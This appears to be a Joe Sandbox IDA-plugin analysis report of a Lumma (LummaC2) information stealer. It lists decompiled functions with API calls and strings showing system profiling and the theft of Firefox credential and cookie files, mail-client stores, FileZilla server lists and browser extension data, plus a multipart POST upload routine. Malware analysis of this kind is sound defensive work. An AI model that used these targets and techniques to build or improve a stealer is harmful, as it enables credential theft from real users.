C$recentservers.xml$sim576xedple-sto576xedrage.j576xedson$sitemanager.xml$ssfn*$y_B>
API String ID: 0-3008219856
Opcode ID: 89aa1017212fee1e620a7fbe6eb5b8cc1132262bae267c9db256cfec3297b749
Instruction ID: b823253c8ecb5ad27e2b287cb1dce7157abede6b904688f5b513f038bfe6f5bb
Opcode Fuzzy Hash: 89aa1017212fee1e620a7fbe6eb5b8cc1132262bae267c9db256cfec3297b749
Instruction Fuzzy Hash: 71C207B1F002299BCF249B9AED4297E7970AB14300FE4453BE015FB391E67D89518B9F

Function 00436ADC Relevance: 91.3, APIs: 22, Strings: 29, Instructions: 2004COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043700A
KiUserCallbackDispatcher.NTDLL(00000000), ref: 0043726A
_strlen.LIBCMT ref: 004377D2
_strlen.LIBCMT ref: 0043788B
_strlen.LIBCMT ref: 00438B52
EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000000), ref: 00438BA3
_strlen.LIBCMT ref: 00438BAC
_strlen.LIBCMT ref: 00438C5F
_strlen.LIBCMT ref: 00438CD1

Strings

sion, xrefs: 00438638
- Screen Resoluton: , xrefs: 0043887A
o._, xrefs: 00437C1B
y_B>, xrefs: 00436BC2
4jn`, xrefs: 00437077
- Phys576xedical Ins576xedtalled Memor576xedy: , xrefs: 004373D9
Ver, xrefs: 00438630
Aan(, xrefs: 004377FD
%s (%d.%d.%d), xrefs: 00438606
n: , xrefs: 00438640
kernel32.dll, xrefs: 00437F81, 004386D8, 00438A67
C: , xrefs: 00437F16
- HW576xedID: , xrefs: 0043841F
o._, xrefs: 00436C86
user32.dll, xrefs: 00436F71, 004388BF
p7 C, xrefs: 004371E0
n._, xrefs: 00436FA9
Lum576xedmaC2, Build 20233101, xrefs: 0043824A
4jn`, xrefs: 00436D91
y_B>, xrefs: 00438149
q7 C, xrefs: 004371EB
x_B>, xrefs: 00436BB7
advapi32.dll, xrefs: 00438CB3
$jRk, xrefs: 004370BA
GhYuIq, xrefs: 00438C49
- CP576xedU Name: , xrefs: 00436FE0
Syste576xedm.txt, xrefs: 004381E6
LID(Lu576xedmma ID): , xrefs: 00438263
TT4, xrefs: 00437101

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen$CallbackDevicesDispatcherDisplayEnumUser
String ID: Ver$$jRk$%s (%d.%d.%d)$- CP576xedU Name: $- HW576xedID: $- Phys576xedical Ins576xedtalled Memor576xedy: $- Screen Resoluton: $4jn`$4jn`$Aan($C: $GhYuIq$LID(Lu576xedmma ID): $Lum576xedmaC2, Build 20233101$Syste576xedm.txt$TT4$advapi32.dll$kernel32.dll$n._$n: $o._$o._$p7 C$q7 C$sion$user32.dll$x_B>$y_B>$y_B>
API String ID: 3760342818-3740799521
Opcode ID: 6304991c9ea5481c71fa155e6c83a9424bd06b545788eb0206d9441cc2e12171
Instruction ID: 1dd07344ff1857ff55ac4e32df16f8dea444b4f0229405df86b90c0a9d587245
Opcode Fuzzy Hash: 6304991c9ea5481c71fa155e6c83a9424bd06b545788eb0206d9441cc2e12171
Instruction Fuzzy Hash: 710304B1504B419BDB349F29C88162BB7E0EB59310F24E92FE09BDB751D678E841CB1B

Function 0040B81C Relevance: 70.2, APIs: 17, Strings: 22, Instructions: 1922stringCOMMON

Download Yara Rule

APIs

lstrcmpW.KERNEL32(?,0045FD9A), ref: 0040C3B1
lstrcatW.KERNEL32(?,?), ref: 0040C427
lstrcatW.KERNEL32(?,0045E148), ref: 0040C431
lstrlenW.KERNEL32(?), ref: 0040C581
lstrcmpW.KERNEL32(?,0045FD96), ref: 0040C8D4
lstrlenW.KERNEL32(00001A2F), ref: 0040C901
lstrlenW.KERNEL32(00001A2F), ref: 0040D826

Strings

Ku^%, xrefs: 0040BD4A
bi, xrefs: 0040BCD9
{#9, xrefs: 0040C68A
\??\, xrefs: 0040CC06
L2&e, xrefs: 0040CA7D
Y=`, xrefs: 0040D07D
Ku^%, xrefs: 0040C4E3
K2&e, xrefs: 0040C262
Y[[T, xrefs: 0040BA47
Ku^%, xrefs: 0040D407
L2&e, xrefs: 0040CFFB
LOCK, xrefs: 0040D3C0
kernel32.dll, xrefs: 0040BA2D
Ku^%, xrefs: 0040D1F5
Ku^%, xrefs: 0040D785
"B!H, xrefs: 0040C01E
ntdll.dll, xrefs: 0040CCDE, 0040D538, 0040D59F
"B!H, xrefs: 0040CD2B
Y=`, xrefs: 0040BF65
{#9, xrefs: 0040B98F
Ku^%, xrefs: 0040BE93
Ku^%, xrefs: 0040D2EB

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcatlstrcmp
String ID: "B!H$"B!H$K2&e$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$L2&e$L2&e$LOCK$Y[[T$\??\$bi$kernel32.dll$ntdll.dll${#9${#9$Y=`$Y=`
API String ID: 156957741-3266097529
Opcode ID: c95b718d94f02bf5dd70c107e4f8e7e3b8c47b9c873664cf438ec1a2df9c61be
Instruction ID: 88d54f90e21775ceda28cbcef53f0ea71a711b7076ec2cdd820ba9bac023bc57
Opcode Fuzzy Hash: c95b718d94f02bf5dd70c107e4f8e7e3b8c47b9c873664cf438ec1a2df9c61be
Instruction Fuzzy Hash: 3CF2D4B2D002198BDF249F9888856BEB674EF54700F24453BE516FB3E0D7788A458B9F

Function 0041F9A4 Relevance: 40.6, APIs: 6, Strings: 16, Instructions: 2064COMMON

Download Yara Rule

Strings

fo>w, xrefs: 0042133B
EeS, xrefs: 00420E73
KI3i, xrefs: 004209BF
fo>w, xrefs: 0042079B
"w, xrefs: 0041FD1F
_m.Q, xrefs: 0042046C
VL6T, xrefs: 004215D1
_m.Q, xrefs: 00421C7C
eo>w, xrefs: 0041FE06
EeS, xrefs: 00420D0C
KI3i, xrefs: 00421D30
"w, xrefs: 004201BD
VL6T, xrefs: 0041FFA0
EeS, xrefs: 0041FF95
JI3i, xrefs: 004200BA
mNA/, xrefs: 0041FA0C

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: "w$ "w$EeS$EeS$EeS$JI3i$KI3i$KI3i$VL6T$VL6T$_m.Q$_m.Q$eo>w$fo>w$fo>w$mNA/
API String ID: 0-3469262258
Opcode ID: 4c97abe84ae84427aa405d53373a48c981ee8d0905f9e59dac9583b8261a3c6c
Instruction ID: 53dd30e2529ea33158ec6446975a809713fb297dce848eb7333cd10e9ac2b658
Opcode Fuzzy Hash: 4c97abe84ae84427aa405d53373a48c981ee8d0905f9e59dac9583b8261a3c6c
Instruction Fuzzy Hash: 8303F8B1E101298BCF28DB58D9856BEB7B5AB24300F64052FD415EB360D378CD868B9F

Function 0040E14E Relevance: 40.3, APIs: 6, Strings: 16, Instructions: 1822stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,C0E8A4B4), ref: 0040E55B
lstrcatW.KERNEL32(?,0045E102), ref: 0040E565
lstrcatW.KERNEL32(?,00000000), ref: 0040E7C3

Strings

n_v, xrefs: 0040F040
n_v, xrefs: 0040FE12
u2B, xrefs: 0040E89E
!t8, xrefs: 0040E6A4
"t8, xrefs: 0040F623
Pz#, xrefs: 0040E59F
)lu, xrefs: 0040F035
)lu, xrefs: 0040EEC0
Ied|, xrefs: 0040E74E
Ied|, xrefs: 0040F83D
"t8, xrefs: 0040E6AF
v2B, xrefs: 0040F158
kernel32.dll, xrefs: 0040E764
Pz#, xrefs: 0040F5D4
(lu, xrefs: 0040E72D
v2B, xrefs: 0040E894

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: !t8$"t8$"t8$(lu$)lu$)lu$Ied|$Ied|$Pz#$Pz#$kernel32.dll$n_v$n_v$u2B$v2B$v2B
API String ID: 4038537762-116603239
Opcode ID: 12bf652b1bb6dbd17e31e8eaa5e0b1f59006f58fc57be00d5560b6d267fe1625
Instruction ID: 6ea63d0937669649ebb299a5b80ec071dd59a3ad312de0dc3acd440ddf73d718
Opcode Fuzzy Hash: 12bf652b1bb6dbd17e31e8eaa5e0b1f59006f58fc57be00d5560b6d267fe1625
Instruction Fuzzy Hash: C7E2ECB1D001199BDF248B99C9456BEBA71BB14304F24093BE506FF3D1D3798A92CB9B

Function 00430E6C Relevance: 39.9, APIs: 14, Strings: 8, Instructions: 1432memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00430F45
GetProcessHeap.KERNEL32 ref: 004314B2
HeapAlloc.KERNEL32(?,00000008,00000028), ref: 004314EB
GetDIBits.GDI32(?,00000001,00000000,?,?,00000001,00000000), ref: 004321FA
ReleaseDC.USER32(00000000,?), ref: 00432204
GetProcessHeap.KERNEL32 ref: 004326F0
RtlFreeHeap.NTDLL(00000000,00000000,?), ref: 004326FF
GetProcessHeap.KERNEL32 ref: 00432701
HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00432708

Strings

TT4, xrefs: 00432147
$jRk, xrefs: 004313CB
q7 C, xrefs: 004317E9
TT4, xrefs: 00431425
y_B>, xrefs: 004314CE
y_B>, xrefs: 0043222D
?, xrefs: 004325D3
q7 C, xrefs: 00430F99

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$AllocAllocateBitsRelease
String ID: $jRk$?$TT4$TT4$q7 C$q7 C$y_B>$y_B>
API String ID: 2023195035-2600574631
Opcode ID: 5178d04942d301932e8b90fcb8df29a441936fb4bdecd8d5e545f1f0f99eb8d3
Instruction ID: 86873c67e1170f8f17d23c3501641da2f07f81d3ce14e24acfbd45c3e0a97cea
Opcode Fuzzy Hash: 5178d04942d301932e8b90fcb8df29a441936fb4bdecd8d5e545f1f0f99eb8d3
Instruction Fuzzy Hash: 1FC2D771E001198BDF28CF98C9926BEB6B0AF5C314F24252BD515EB360D7789E41CB9B

Function 00434080 Relevance: 39.4, APIs: 10, Strings: 12, Instructions: 872registryCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004346DB
RegEnumKeyExW.KERNELBASE(?,?,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00434725
RegCloseKey.KERNELBASE(?), ref: 0043475B
RegOpenKeyExW.KERNELBASE(80000002,?,00000000,00020019,?,00000001), ref: 00434DA5
RegCloseKey.ADVAPI32(?,00000001), ref: 00434F17
RegCloseKey.ADVAPI32(?,00000001), ref: 00434F76

Strings

%s\%s, xrefs: 00434CF1
y_B>, xrefs: 00434738
$jRk, xrefs: 00434578
%s%s, xrefs: 004346D5
TT4, xrefs: 00434C71
y_B>, xrefs: 0043463A
TT4, xrefs: 00434543
DisplayName, xrefs: 00434BF4
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0043495F, 00434CEC
$jRk, xrefs: 00434B06
Software.txt, xrefs: 00434E05
?, xrefs: 00434915

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Close$EnumOpenwsprintf
String ID: $jRk$$jRk$%s%s$%s\%s$?$DisplayName$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall$Software.txt$TT4$TT4$y_B>$y_B>
API String ID: 44529101-205855365
Opcode ID: dfa5f994e76983f3f8c4cf4d5fb617366fdece3346ca8abc111b64aa0c8d78cd
Instruction ID: 3b7421bd9f904e401ff100dd7efef49cd6fe7be7401ce4d7a99a7b86551d2639
Opcode Fuzzy Hash: dfa5f994e76983f3f8c4cf4d5fb617366fdece3346ca8abc111b64aa0c8d78cd
Instruction Fuzzy Hash: E2621D70E002198BDF28CB9899455FEB674BF9C318F242517E625EB360D73CAD418B9B

Function 0042AD82 Relevance: 25.7, Strings: 20, Instructions: 749COMMON

Download Yara Rule

Strings

%appdata%\The Bat!, xrefs: 0042B265
*.mbox, xrefs: 0042B046, 0042B0D7
n_v, xrefs: 0042AFFA
)lu, xrefs: 0042B239
n_v, xrefs: 0042B244
*.MSB, xrefs: 0042B0C4, 0042B7A3
*.txt, xrefs: 0042B1B2, 0042B61E
*.TBN, xrefs: 0042B531, 0042B584
Mail Clients\The Bat\Local, xrefs: 0042B040, 0042B045, 0042B058, 0042B06B, 0042B518, 0042B51D, 0042B530, 0042B619, 0042B777, 0042B77C, 0042B78F, 0042B7A2, 0042B8B4, 0042B909
*.TBK, xrefs: 0042B110, 0042B8B9
kernel32.dll, xrefs: 0042B5B3, 0042B8E5
%localappdata%\The Bat!, xrefs: 0042B935
*.FLX, xrefs: 0042B06C, 0042B0FD
*.MSG, xrefs: 0042B597, 0042B77D
*.TBB, xrefs: 0042B51E, 0042B571
Mail Clients\The Bat\AppData, xrefs: 0042B0AB, 0042B0B0, 0042B0C3, 0042B0D6, 0042B0E9, 0042B0FC, 0042B10F, 0042B199, 0042B19E, 0042B1B1, 0042B56B, 0042B570, 0042B583, 0042B596
*.ABD, xrefs: 0042B059, 0042B0EA
*.EML, xrefs: 0042B0B1, 0042B790
*.HBI, xrefs: 0042B19F, 0042B90E
(lu, xrefs: 0042AF6C

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: %appdata%\The Bat!$%localappdata%\The Bat!$(lu$)lu$*.ABD$*.EML$*.FLX$*.HBI$*.MSB$*.MSG$*.TBB$*.TBK$*.TBN$*.mbox$*.txt$Mail Clients\The Bat\AppData$Mail Clients\The Bat\Local$kernel32.dll$n_v$n_v
API String ID: 4038537762-373908387
Opcode ID: 9865856486611794f12a139d77c18e5c05c58a82ffa741dd00c0f22e25a9caec
Instruction ID: 4f92dd08cf156959b88a3ca31d79465b6333db6cd064390b28fe5485dbf8b601
Opcode Fuzzy Hash: 9865856486611794f12a139d77c18e5c05c58a82ffa741dd00c0f22e25a9caec
Instruction Fuzzy Hash: 7042D7F1E0012A9BCF149A55AC5667F7B74EB51304FA8052BE405FA3A1E338CA5187DF

Function 00405AAA Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 448
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,0045E102,?,?,00000000,?,?,004058C6), ref: 00405BEF
lstrcatW.KERNEL32(00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405EC4
lstrcatW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405ED7
lstrcatW.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,004058C6), ref: 00405EDF
lstrcatW.KERNEL32(?,?,?,?,?,00000000,?,?,004058C6), ref: 00405EF3
lstrcatW.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405F06
lstrcatW.KERNEL32(?,84D55917,?,?,?,?,00000000,?,?,004058C6), ref: 00405F0E

Strings

/Ext576xedensio576xedns/, xrefs: 00405EF5
n_v, xrefs: 00405C99
*576xed, xrefs: 004061E5
\Loc576xedal Extens576xedion Settin576xedgs\, xrefs: 00405EC6
n_v, xrefs: 00405B64
,, xrefs: 00405C1E

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: *576xed$,$/Ext576xedensio576xedns/$\Loc576xedal Extens576xedion Settin576xedgs\$n_v$n_v
API String ID: 4038537762-1578839816
Opcode ID: c0ae44d74d2992532015a5b165d06f1b6e1b0c53f96b55d44899152aba16d5ae
Instruction ID: e5bf92a8c3e4632e865b489cc3d7c979cf6fee557c11a145fed96966642f9e4d
Opcode Fuzzy Hash: c0ae44d74d2992532015a5b165d06f1b6e1b0c53f96b55d44899152aba16d5ae
Instruction Fuzzy Hash: 5FF1F9B1D006198BCF28DB98889657FBA74EB44300F25463BE506FA3D1D73C9A518F9B

Function 0041C270 Relevance: 23.6, APIs: 1, Strings: 12, Instructions: 812COMMON

Download Yara Rule

Strings

POST, xrefs: 0041C824
Content-Type: multipart/form-data; boundary=%s, xrefs: 0041CCD2
9a%^, xrefs: 0041C480
TeslaBrowser/5.5, xrefs: 0041C870
9a%^, xrefs: 0041C981
winhttp.dll, xrefs: 0041C43E, 0041C859, 0041C85E, 0041C880, 0041C8A2, 0041CA62, 0041CACA, 0041CC64, 0041CD5B, 0041CDBE, 0041CF1A, 0041CFAF
9a%^, xrefs: 0041CF0D
L%, xrefs: 0041C3AA
SqDe87817huf871793q74, xrefs: 0041CCCD
M%, xrefs: 0041C500
9a%^, xrefs: 0041C5DF
M%, xrefs: 0041C3CB

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: 9a%^$9a%^$9a%^$9a%^$Content-Type: multipart/form-data; boundary=%s$L%$M%$M%$POST$SqDe87817huf871793q74$TeslaBrowser/5.5$winhttp.dll
API String ID: 0-485045143
Opcode ID: 93238ce1bce5d0f96e870d474ccd94fa1ee818516e10118a3e8a746afefe7c00
Instruction ID: c94fe321a93857c184b0378d7fc968df2dfc5883700fbc77eb7b7d771d47b6e9
Opcode Fuzzy Hash: 93238ce1bce5d0f96e870d474ccd94fa1ee818516e10118a3e8a746afefe7c00
Instruction Fuzzy Hash: 73521DB1E802058BDF288EE89CC56FE7AA1AB58304F24052BE515E6390D77CCDC1979F

Function 0040620B Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 445
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,0045E102), ref: 0040641B
lstrcatW.KERNEL32(?,?), ref: 00406423
lstrcatW.KERNEL32(?,?), ref: 0040692A
lstrcatW.KERNEL32(?,0045E102), ref: 00406934

Strings

Ku^%, xrefs: 004065EC
Y=`, xrefs: 00406310
Ku^%, xrefs: 004068CD
Y=`, xrefs: 004065CA

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: Ku^%$Ku^%$Y=`$Y=`
API String ID: 4038537762-3617128223
Opcode ID: 8aca2622c3c3d1db70070bb2a5585c4558611a8a3d103d468629aeb63b1ff0ca
Instruction ID: 9c9fa2152e9cc94146e123e662ad7e189f6101f2fbba187f29f17e96b34d8480
Opcode Fuzzy Hash: 8aca2622c3c3d1db70070bb2a5585c4558611a8a3d103d468629aeb63b1ff0ca
Instruction Fuzzy Hash: 72F11AB1D0010A9BCF249E9898815BE7A70AB54304F264D3BE517FA3E4D37CCD619B5B

Function 0042B9C5 Relevance: 16.7, Strings: 13, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*.WPM, xrefs: 0042BE44
*.CNM, xrefs: 0042BA7B
*.PMN, xrefs: 0042BAA1
*.PM, xrefs: 0042BE57
C:\PMAIL, xrefs: 0042BB07
*.PMF, xrefs: 0042BA8E
*CACHE.PM, xrefs: 0042BE31
*.PML, xrefs: 0042BAB4
kernel32.dll, xrefs: 0042BA16
Ku^%, xrefs: 0042BCB6
Mail Clients\Pegasus, xrefs: 0042BA75, 0042BA7A, 0042BA8D, 0042BAA0, 0042BAB3, 0042BE2B, 0042BE30, 0042BE43, 0042BE56, 0042BE69
*.USR, xrefs: 0042BE6A
Ku^%, xrefs: 0042BE15

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: *.CNM$*.PM$*.PMF$*.PML$*.PMN$*.USR$*.WPM$*CACHE.PM$C:\PMAIL$Ku^%$Ku^%$Mail Clients\Pegasus$kernel32.dll
API String ID: 0-3904125897
Opcode ID: c2af665f8e7a6a5fb5bf80d2b66eb56a303a312d12f5e083bf41e33716631812
Instruction ID: 84dac617f37148c4bf89ffca1ba6cb6ddcd73cd34940f6261eccf690c7d83b59
Opcode Fuzzy Hash: c2af665f8e7a6a5fb5bf80d2b66eb56a303a312d12f5e083bf41e33716631812
Instruction Fuzzy Hash: E0E10BB1F0012A8BCF249E99A88167F7B74EB05354FA4052BE511EB361E77C8D409BDB

Function 0040A928 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 475
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,75570880,?,0040B7CA,0040C9F4,?,?,?), ref: 0040AC5E
lstrcatW.KERNEL32(?,\??\,?,?,?,?,?,?,?,?,75570880,?,0040B7CA,0040C9F4,?,?), ref: 0040ACC2

Strings

kernel32.dll, xrefs: 0040A947
\??\, xrefs: 0040ACBA
ntdll.dll, xrefs: 0040AF92, 0040B092

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID: \??\$kernel32.dll$ntdll.dll
API String ID: 1475610065-320376045
Opcode ID: 59cd2d1ccfa00f4e6d6c0bc67caa238be280e9eaa5e7935e3225b88f4da3e326
Instruction ID: cf05d70ef52a95d5e776fd44e962e356ae6502797ff445894325f4a97f5a2809
Opcode Fuzzy Hash: 59cd2d1ccfa00f4e6d6c0bc67caa238be280e9eaa5e7935e3225b88f4da3e326
Instruction Fuzzy Hash: E302C5B1E443198ADF288A58C842ABFB670EB14310F25493BE515FB3E0D3798D519B9F

Function 0042FD35 Relevance: 14.1, Strings: 11, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ku^%, xrefs: 0042FFF1
logins.json, xrefs: 00430206
places.sqlite, xrefs: 00430215
cert9.db, xrefs: 0042FD86
formhistory.sqlite, xrefs: 0042FD98
cookies.sqlite, xrefs: 004301F4
Ku^%, xrefs: 0043018E
Ku^%, xrefs: 0042FD7B
Ku^%, xrefs: 0042FE0F
Ku^%, xrefs: 00430089
key4.db, xrefs: 0042FE54

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$cert9.db$cookies.sqlite$formhistory.sqlite$key4.db$logins.json$places.sqlite
API String ID: 4038537762-2469458786
Opcode ID: 5cc8e0385a1e201e213d2df3de3c9283c111f345cb6a958e47c3068638802ac2
Instruction ID: d1eb3a7c9248dbe3af820f863548cf4fb9ed3ca77677979f9304c8b24649e330
Opcode Fuzzy Hash: 5cc8e0385a1e201e213d2df3de3c9283c111f345cb6a958e47c3068638802ac2
Instruction Fuzzy Hash: 9FB128B1E1012A97CF288E58A95567F7674AB45300FE4163BE816FB390E73DCA05878B

Function 004262A1 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 391
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(fltl), ref: 004263DE

Strings

ib.d, xrefs: 004263C9
fltl, xrefs: 004263D9, 004263DD
A8r, xrefs: 00426415
dll, xrefs: 004263C1
SysmonDrv, xrefs: 0042662E

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: A8r$SysmonDrv$dll$fltl$ib.d
API String ID: 1029625771-1616023887
Opcode ID: 2db2a4e5335f366ea46298763abcd9c468ba7e06b9ae091ed3480071e9d520ab
Instruction ID: eb42a9731a47ced65949ee17454b9c50096d91694aa44b165600d0182d074a5f
Opcode Fuzzy Hash: 2db2a4e5335f366ea46298763abcd9c468ba7e06b9ae091ed3480071e9d520ab
Instruction Fuzzy Hash: E7E1D5B1709220DBCB24AB18E68572E76E5EB80304FA65D1FF485CB350D63DC9829B5B

Function 00402476 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 655COMMON

Download Yara Rule

Strings

M0@, xrefs: 00402DE3
UL6T, xrefs: 0040263D
VL6T, xrefs: 00402A09

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: M0@$UL6T$VL6T
API String ID: 0-769956738
Opcode ID: 3f7b00bcc41dc9950e88c817e104c281ddb069482e9e35bb9bdcf7b3ae0a07f6
Instruction ID: 5b652a97159c1cfdc4854cd4c98ad9d0b798284c57e6c6df073e9b00d242a01e
Opcode Fuzzy Hash: 3f7b00bcc41dc9950e88c817e104c281ddb069482e9e35bb9bdcf7b3ae0a07f6
Instruction Fuzzy Hash: 0032A871D1051B8BCF289A98878D57EB6B0AB54350B24063BE915FB3D0D3BCCE419B9B

Function 0040B129 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,755AF770,755AF770), ref: 0040B792
NtClose.NTDLL ref: 0040B7B1

Strings

Y[, xrefs: 0040B682
LK, xrefs: 0040B723
ntdll.dll, xrefs: 0040B425, 0040B61B, 0040B797

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CloseFileRead
String ID: LK$Y[$ntdll.dll
API String ID: 752142053-4222218168
Opcode ID: 674c179e697703f44c2f44510fd3adef83a7dc0e616b3acf5fe27305b6ec38da
Instruction ID: 4487220ceab9a8d4c25bfe658470c8f7c93894071a863f051833b6fbd766e42f
Opcode Fuzzy Hash: 674c179e697703f44c2f44510fd3adef83a7dc0e616b3acf5fe27305b6ec38da
Instruction Fuzzy Hash: C0E1BDB29043058BDB249F69C59516EBAE1EB85314F25893FE485FB3D0E33C89418B9F

Function 00422177 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 183nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041F916: VirtualQuery.KERNEL32(?,00001000,00001000), ref: 0041F984

NtQueryInformationProcess.NTDLL(000000FF,0000001E,?,00000004,00000000), ref: 004223A5

Strings

^^4, xrefs: 0042238B
^^4, xrefs: 00422365
^^4, xrefs: 0042225A
]^4, xrefs: 00422191

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Query$InformationProcessVirtual
String ID: ]^4$^^4$^^4$^^4
API String ID: 1364735940-2923853987
Opcode ID: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction ID: e1f5519adcfceb975286f451de33aaf8cbb4e2bcda804772fdea06b08d6dcce1
Opcode Fuzzy Hash: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction Fuzzy Hash: CD510B31B08271ABDB24891CA68097E62D45B44314FA44D2BFDD9EB328C2ADCDD6974F

Function 0043323B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00433288
GetSystemMetrics.USER32(00000001), ref: 004333C3
GetSystemMetrics.USER32(00000000), ref: 0043341E

